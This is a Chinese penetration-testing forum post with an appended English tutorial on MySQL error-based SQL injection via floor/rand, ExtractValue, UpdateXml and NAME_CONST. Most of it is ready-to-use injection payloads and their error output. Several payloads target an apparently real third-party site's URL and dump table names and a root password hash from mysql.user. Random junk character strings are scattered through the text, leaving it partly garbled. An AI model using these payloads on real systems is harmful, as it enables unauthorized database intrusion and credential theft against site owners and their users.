中国网络渗透测试联盟
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法 [打印本页]
作者: admin 时间: 2015-11-11 19:03
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下:( m w8 d/ w8 X+ ~& N) ~
首先进行正常查询:
mysql> select * from article where id = 1;
3 b% Y: R' L/ }3 ?7 P) ^+—-+——-+———+$ m2 M7 X( s7 l% w5 v% ~! O
| id | title | content |
! ~2 [6 k4 N' h) y, z+—-+——-+———+
6 v2 q% I2 q5 }. h, _| 1 | test | do it |* P, A( j8 q7 N. q! m1 k7 L
+—-+——-+———+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);+ T% ^+ r6 |9 [3 e* J+ q" ]# p
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。( u! Q! g( `) U. U. l4 l
例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
) p# E& J: H. I. L# `* lERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));3 o6 j/ P7 i# L6 A+ N d
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
2、ExtractValue j9 P+ Y) P! M
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–0 ?5 Z3 b1 B$ _. ~
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
A7 j" F* I" W. D2 o3 G
0 k, ^" l/ Y# J2 y. Y5 {$ U4 G再收集:
k: D5 Z) ^1 {. \3 {# vhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
3 R. ?8 @7 j1 Q4 i) f9 q
! P# G* @0 e8 l$ Q" cError
uplicate column name ‘5.0.27-community-nt’Error
uplicate column name ‘5.0.27-community-nt’; Q4 n: w" w6 o$ W$ Y+ P
9 T+ _- t, F4 [# \
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)0 W* Z! D. W+ h6 ^5 D4 a' e) V; a
4 Z4 X, }9 S$ L$ [$ u) u5 O" MError
uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error
uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
M+ D0 L1 U% \# C5 x4 n# ?% g& x3 J" z* @+ ^
MYSQL高版本报错注入技巧-利用NAME_CONST注入
: Y+ ^/ l* `5 H- g7 d9 kIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
3 m1 {( p/ p" w# K. q( @
1 B& [& M1 ]8 I5 L# q3 G9 ~6 Y7 d* @- a. Z( g) z
相关信息, a& K7 F. `/ S1 i4 Y3 t+ H
( a+ z1 m8 ^: ~" X1 \
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
" y& N1 L2 k! [# v4 a5 ]$ }: l. _
/ k: M4 M5 V2 S" Z/ C: Z7 O8 gCode:1 i, f9 C/ q7 y0 n5 o9 R
NAME_CONST(DATA, VALUE)3 ?$ I6 ^/ ^2 A! v
+ {$ Y+ y; O w0 F& A& PReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
; l% T- G( S# F8 E$ ]0 @) f) v$ ^' u
SELECT NAME_CONST('TEST', 1)
4 n, |% I: b: i, F8 z! R8 W
! j6 q- R( D- g
' x% A" X6 X) r% a' `6 |3 v1 O, t4 Y/ U1 T% c6 j
|---------------|/ G4 v# S* O) y, w6 n0 _* w
| TEST |
! l$ p! B* d& w: s| |5 L) i+ ]0 G6 p7 w& n
|---------------|
. \5 o' l8 t$ t# A| 1 |6 y# a7 w: L- f
| |
P, r# K' f/ C; p$ P|---------------|
" e2 I8 s% ]+ }" I2 S6 m D% O) n0 g1 u1 d" q
4 Q' ]( A( B/ q+ U! l6 x
3 \" h, q. l. ^6 Z$ X
! s; e. @& j* ?( ~http://dev.mysql.com/doc/refman/5.0/en/m...name-const
8 p& |! \, J1 Q9 h% U6 }. ~' bIntro to MySQL Variables3 m* s l$ Y& ]
4 l+ |7 `- j' F" y; a/ h" A# y% k1 POnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.+ ]* h* l8 S3 l: H* p
+ _% \0 T( v7 `" o0 G9 p5 \Code:0 I$ c, _3 Z0 g, G. t
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
5 O+ {3 f/ V+ A+ ]
7 Y3 y# \; }7 `0 z. \% v. `7 x( H) g% }
; U; x' U! H; i( P) Z& @. o# a! m# j" `, `+ e) P8 @
% E3 K" m& P5 F4 w7 X+ m$ g( hCode:1 N }. ^& h5 S
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--9 f% E& F$ Y+ U' Z) G1 p- }
( _# c X Q5 U; x, l: ~; s* y' O5 t
6 {1 y2 M8 ~# P( ~VAR = Your MySQL variable.
9 Q6 V% Q2 T9 n9 i0 b
- U$ ?/ ?; f) N: ?, d, x) BMySQL 5.1.3 Server System Variables
! V3 w9 `: ~' L- G0 v1 V! s! W
& Y d: l" {1 O' iLet's try it out on my site..
+ B6 \) i: l& n& ` W2 ~ t
& n/ d \+ ~8 ACode:
" ^& Z) R5 S, E8 L: [http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--7 D+ w5 H5 W5 n" A# V9 p8 y0 g6 Z
) V. Z& Z) w, V& J5 N9 l
Error
uplicate column name '5.0.27-community-nt'; K9 i, _: ?; C, w
: ?. f' x! I0 ?8 |5 u" ?- S
9 H) E, [2 y$ \' V/ d2 N, O
# c5 P' y: l5 z7 T$ X w
" k+ p) a9 K' @0 v
! B' Z9 r+ S) A: K0 R; A* H
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
6 Y; }' S1 f: x: c6 x: A) E& s2 L( \/ }* T* D
Data Extraction- S( d7 Y5 `8 Q$ l) P
0 y: A2 d$ P, @ @) r
Code:, R8 }4 h% Q! v
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--: `. }) ]1 L7 ]# L. `
# q }3 O. x, T9 o9 ?2 @+ ^
! f. O+ F# O% W, Z5 O0 HWe should get a duplicate column 1 error...
) H& g4 {2 \0 \( F$ @/ }8 P! f0 l9 x; K u
Code:
: g; U8 Q3 P7 y0 q/ Uhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--( B: ^8 \1 F$ q% Z/ U6 T4 `( \' {
; l/ M1 r5 P: }: q( BError
uplicate column name '1" b; h2 Q9 k2 N5 u6 `
. V$ T+ c8 I0 x5 x* h% y/ h) D. y% ?! h
/ e+ x: B/ j% V4 d" t& b
- @; n$ t+ t$ H4 O4 N) y
1 @/ \& Z' ?3 E3 e: J* ?
; S7 \8 R4 ?( c# k7 {2 f
Now let's get the tables out this bitch..
' p2 c. Y1 V% S9 C8 j& ?% J; M# F( e& v
Code:& T6 W. ^& Z1 j8 Q9 E' j
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--# l7 j2 l+ n q6 C( ]
- C; I y/ |4 {, I9 Y% Y1 e n2 N1 Z% I. o
Let's see if it works here, if it does, we can go on and finish the job.# N7 g3 S' Z# s0 ]
+ H; L' E0 i: p% d$ y! U* H g: ^Code:
" r( ^ @* F% s5 o$ n# L7 Jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
& {$ R, E |! }7 ^7 N( F4 t" ?( O: p8 w( m0 E
7 L+ P& X$ P* ~! p3 u
Error
uplicate column name 'com_admanage
~! F8 V+ ~, u/ i4 W2 ]" G1 o2 A- M, ?
2 L; ?+ T, E( _0 n/ q' p+ y
2 j( U8 s! x, D1 P7 c4 D4 u# m6 {) d- X/ R" X
W, | v, ~/ S6 F! n1 d8 {8 f' @3 [% |$ C9 u) R( `2 G
! l+ a6 B# \; E" \" O# P6 D! E
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.% y* K9 V0 W# z% I" H9 L, j/ n3 [
; ]9 c$ _" W* K. z6 Z$ w! y7 o7 ^
Let's get the columns out of the user table..
- h" p. B. [* _% u7 a
8 y6 C# ^; \) }# `8 _8 ACode:4 b& W i2 F- N/ f6 R" V
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--0 d. d9 e4 Z4 k, g7 O, r" N& r
% ~, T1 K6 n* n! i
5 ^( K2 J2 b6 J. |- @) D! m
So mine looks like this, and I get the duplicate column name 'Host'.' ~6 D3 H# n0 K( A* t
1 _9 l- I" ?. D& v% g% }
Code:0 w7 R- u& M+ J- h3 [( b. a+ G5 N
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--2 V& V. G1 B3 ?7 K+ |' I
" G: I+ d' d* Q! u, }
Error
uplicate column name 'Host'
3 H) }. s! O- V. V' D
( i+ ]; F" t! S: ~ `
" o, w. J& y. K) f0 l- C
- A# l3 ^2 W' K7 |6 x
7 U1 V4 u4 a0 B _$ |2 Z* h. B( i& u$ T) G* X7 Z4 j, ?! }# P
9 |1 O0 F1 _- [) @1 Y, K! l
Woot, time to finish this bitch off.# H$ q/ `/ ]5 r# X# D
: N$ p n: [- n" p5 i* {! A$ YCode:! J3 i5 h: S7 x! m/ a
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--8 C3 Z5 q+ l1 s& q7 O M# b# J- B
! D1 _# Q& u; p
" T7 A3 z& ]8 f% m2 GSo mine looks like this...
8 R* @3 J' _! a2 h0 `& {+ B$ ]+ [( x; U* q1 p
Code:
' w8 s/ L" p& `6 q- dhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--; t5 ?) ^2 t, `0 B& S/ U
, F* H' r. k5 Q. k5 W6 |
Error
uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82' O- ?, U- Q/ n" R1 a+ k
' i1 O9 d5 u8 Y; S6 k: o: _) |0 R$ J: I9 A) ]3 d5 W; ~/ _
' [# R. K5 T3 n! g9 i
' P* |) j& P4 o5 |7 s
1 u2 L) M5 t; [, D7 D
# D8 j! k+ m7 K8 I+ x: J8 TAnd there we have it, thanks for reading.
! O+ m1 v) R2 a% q( y# \# I! s6 k* Z7 T d4 |' R& W
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) |
Powered by Discuz! X3.2 |